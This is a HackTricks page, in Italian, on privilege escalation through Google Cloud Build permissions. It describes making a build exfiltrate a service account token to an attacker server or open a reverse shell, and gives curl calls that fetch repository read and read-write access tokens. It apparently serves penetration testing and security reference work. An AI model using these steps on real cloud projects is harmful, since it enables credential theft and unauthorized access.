GCP - Cloudbuild Privesc

Support HackTricks

cloudbuild

Per ulteriori informazioni su Cloud Build controlla:

cloudbuild.builds.create

Con questo permesso puoi inviare una build cloud. La macchina cloudbuild avrà nel suo filesystem per default un token dell'Account di Servizio cloudbuild: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Tuttavia, puoi indicare qualsiasi account di servizio all'interno del progetto nella configurazione di cloudbuild. Pertanto, puoi semplicemente far esfiltrare alla macchina il token verso il tuo server o ottenere una reverse shell all'interno di essa e prendere il token (il file contenente il token potrebbe cambiare).

Puoi trovare lo script di exploit originale qui su GitHub (ma la posizione da cui prende il token non ha funzionato per me). Pertanto, controlla uno script per automatizzare la creazione, sfruttamento e pulizia di un ambiente vulnerabile qui e uno script python per ottenere una reverse shell all'interno della macchina cloudbuild e rubare il token qui (nel codice puoi trovare come specificare altri account di servizio).

Per una spiegazione più dettagliata, visita https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

cloudbuild.builds.update

Potenzialmente con questo permesso sarai in grado di aggiornare una build cloud e semplicemente rubare il token dell'account di servizio come è stato fatto con il permesso precedente (ma sfortunatamente al momento della scrittura non sono riuscito a trovare alcun modo per chiamare quella API).

TODO

cloudbuild.repositories.accessReadToken

Con questo permesso l'utente può ottenere il token di accesso in lettura utilizzato per accedere al repository:

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"

cloudbuild.repositories.accessReadWriteToken

Con questo permesso, l'utente può ottenere il token di accesso in lettura e scrittura utilizzato per accedere al repository:

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"

cloudbuild.connections.fetchLinkableRepositories

Con questo permesso puoi ottenere i repo a cui la connessione ha accesso:

curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
Supporta HackTricks

Last updated